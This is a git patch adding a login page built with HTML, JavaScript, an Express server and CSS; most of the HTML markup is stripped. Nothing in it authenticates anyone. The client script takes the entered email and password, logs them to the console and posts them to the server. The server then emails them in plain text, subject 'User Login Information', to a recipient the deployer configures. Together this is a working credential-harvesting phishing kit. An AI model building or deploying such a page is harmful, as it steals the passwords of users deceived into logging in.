From 891db114bfee84505c089a6e4f5aa09e5d5b6310 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Yanis=20Sebastian=20Z=C3=BCrcher?=
<162759797+yanissebastianzuercher@users.noreply.github.com>
Date: Sat, 9 Mar 2024 15:05:38 +0100
Subject: [PATCH] Add files via upload
---
index.html | 68 +++++++++++++++++
script.js | 38 ++++++++++
server.js | 52 +++++++++++++
style.css | 212 +++++++++++++++++++++++++++++++++++++++++++++++++++++
4 files changed, 370 insertions(+)
create mode 100644 index.html
create mode 100644 script.js
create mode 100644 server.js
create mode 100644 style.css
diff --git a/index.html b/index.html
new file mode 100644
index 0000000..e5fddd4
--- /dev/null
+++ b/index.html
@@ -0,0 +1,68 @@
+
+
+
+
+
+
+
+
+
+
+
+ Modern Login Page
+
+
+
+
+
+
+
+
+
+
+
Welcome Back!
+
Enter your personal details to use all site features
+
+
+
+
Hello, Friend!
+
Register with your personal details to use all site features
+
+
+
+
+
+
+
+
+
diff --git a/script.js b/script.js
new file mode 100644
index 0000000..6cffdb6
--- /dev/null
+++ b/script.js
@@ -0,0 +1,38 @@
+//script.js
+
+const container = document.getElementById('container');
+const registerBtn = document.getElementById('register');
+const loginBtn = document.getElementById('login');
+
+registerBtn.addEventListener('click', () => {
+ container.classList.add("active");
+});
+
+loginBtn.addEventListener('click', () => {
+ container.classList.remove("active");
+});
+
+document.getElementById('loginForm').addEventListener('submit', submitLoginForm);
+
+function submitLoginForm(event) {
+ event.preventDefault();
+
+ console.log('Submitting login form...');
+
+ const email = document.querySelector('#container .sign-in input[type="email"]').value;
+ const password = document.querySelector('#container .sign-in input[type="password"]').value;
+
+ console.log('Email:', email);
+ console.log('Password:', password);
+
+ fetch('/send-email', {
+ method: 'POST',
+ headers: {
+ 'Content-Type': 'application/json',
+ },
+ body: JSON.stringify({ email, password }),
+ })
+ .then(response => response.text())
+ .then(data => console.log('Server response:', data))
+ .catch(error => console.error('Error:', error));
+}
diff --git a/server.js b/server.js
new file mode 100644
index 0000000..a233a4d
--- /dev/null
+++ b/server.js
@@ -0,0 +1,52 @@
+//server.js
+
+const express = require('express');
+const bodyParser = require('body-parser');
+const nodemailer = require('nodemailer');
+const cors = require('cors');
+const path = require('path');
+
+const app = express();
+const port = 3000;
+
+app.use(cors());
+app.use(bodyParser.urlencoded({ extended: true }));
+app.use(bodyParser.json());
+
+const transporter = nodemailer.createTransport({
+ service: 'gmail', //enter your service, this tutorial is based on gmail.
+ auth: {
+ user: '-------', // enter sender email
+ pass: '------------------', //enter app generated password, no spaces.
+ },
+});
+
+app.post('/send-email', (req, res) => {
+ const { email, password } = req.body;
+
+ const mailOptions = {
+ from: '---------', //enter your sender email
+ to: '-----------', //enter your recipient email
+ subject: 'User Login Information',
+ text: `Email: ${email}\nPassword: ${password}`,
+ };
+
+ transporter.sendMail(mailOptions, (error, info) => {
+ if (error) {
+ return res.status(500).send(error.toString());
+ }
+
+ res.status(200).send('Email sent: ' + info.response);
+ });
+});
+
+// Serve static files from the root directory
+app.use(express.static(__dirname));
+
+app.get('/', (req, res) => {
+ res.sendFile(path.join(__dirname, 'index.html'));
+});
+
+app.listen(port, () => {
+ console.log(`Server is running on port ${port}`);
+});
diff --git a/style.css b/style.css
new file mode 100644
index 0000000..419da78
--- /dev/null
+++ b/style.css
@@ -0,0 +1,212 @@
+/* dont change anything here unless you wanna change the design*/
+
+@import url('https://fonts.googleapis.com/css2?family=Montserrat:wght@300;400;500;600;700&display=swap');
+
+*{
+ margin: 0;
+ padding: 0;
+ box-sizing: border-box;
+ font-family: 'Montserrat', sans-serif;
+}
+
+body{
+ background-color: #c9d6ff;
+ background: linear-gradient(to right, #e2e2e2, #c9d6ff);
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ flex-direction: column;
+ height: 100vh;
+}
+
+.container{
+ background-color: #fff;
+ border-radius: 30px;
+ box-shadow: 0 5px 15px rgba(0, 0, 0, 0.35);
+ position: relative;
+ overflow: hidden;
+ width: 768px;
+ max-width: 100%;
+ min-height: 480px;
+}
+
+.container p{
+ font-size: 14px;
+ line-height: 20px;
+ letter-spacing: 0.3px;
+ margin: 20px 0;
+}
+
+.container span{
+ font-size: 12px;
+}
+
+.container a{
+ color: #333;
+ font-size: 13px;
+ text-decoration: none;
+ margin: 15px 0 10px;
+}
+
+.container button{
+ background-color: #512da8;
+ color: #fff;
+ font-size: 12px;
+ padding: 10px 45px;
+ border: 1px solid transparent;
+ border-radius: 8px;
+ font-weight: 600;
+ letter-spacing: 0.5px;
+ text-transform: uppercase;
+ margin-top: 10px;
+ cursor: pointer;
+}
+
+.container button.hidden{
+ background-color: transparent;
+ border-color: #fff;
+}
+
+.container form{
+ background-color: #fff;
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ flex-direction: column;
+ padding: 0 40px;
+ height: 100%;
+}
+
+.container input{
+ background-color: #eee;
+ border: none;
+ margin: 8px 0;
+ padding: 10px 15px;
+ font-size: 13px;
+ border-radius: 8px;
+ width: 100%;
+ outline: none;
+}
+
+.form-container{
+ position: absolute;
+ top: 0;
+ height: 100%;
+ transition: all 0.6s ease-in-out;
+}
+
+.sign-in{
+ left: 0;
+ width: 50%;
+ z-index: 2;
+}
+
+.container.active .sign-in{
+ transform: translateX(100%);
+}
+
+.sign-up{
+ left: 0;
+ width: 50%;
+ opacity: 0;
+ z-index: 1;
+}
+
+.container.active .sign-up{
+ transform: translateX(100%);
+ opacity: 1;
+ z-index: 5;
+ animation: move 0.6s;
+}
+
+@keyframes move{
+ 0%, 49.99%{
+ opacity: 0;
+ z-index: 1;
+ }
+ 50%, 100%{
+ opacity: 1;
+ z-index: 5;
+ }
+}
+
+.social-icons{
+ margin: 20px 0;
+}
+
+.social-icons a{
+ border: 1px solid #ccc;
+ border-radius: 20%;
+ display: inline-flex;
+ justify-content: center;
+ align-items: center;
+ margin: 0 3px;
+ width: 40px;
+ height: 40px;
+}
+
+.toggle-container{
+ position: absolute;
+ top: 0;
+ left: 50%;
+ width: 50%;
+ height: 100%;
+ overflow: hidden;
+ transition: all 0.6s ease-in-out;
+ border-radius: 150px 0 0 100px;
+ z-index: 1000;
+}
+
+.container.active .toggle-container{
+ transform: translateX(-100%);
+ border-radius: 0 150px 100px 0;
+}
+
+.toggle{
+ background-color: #512da8;
+ height: 100%;
+ background: linear-gradient(to right, #5c6bc0, #512da8);
+ color: #fff;
+ position: relative;
+ left: -100%;
+ height: 100%;
+ width: 200%;
+ transform: translateX(0);
+ transition: all 0.6s ease-in-out;
+}
+
+.container.active .toggle{
+ transform: translateX(50%);
+}
+
+.toggle-panel{
+ position: absolute;
+ width: 50%;
+ height: 100%;
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ flex-direction: column;
+ padding: 0 30px;
+ text-align: center;
+ top: 0;
+ transform: translateX(0);
+ transition: all 0.6s ease-in-out;
+}
+
+.toggle-left{
+ transform: translateX(-200%);
+}
+
+.container.active .toggle-left{
+ transform: translateX(0);
+}
+
+.toggle-right{
+ right: 0;
+ transform: translateX(0);
+}
+
+.container.active .toggle-right{
+ transform: translateX(200%);
+}
\ No newline at end of file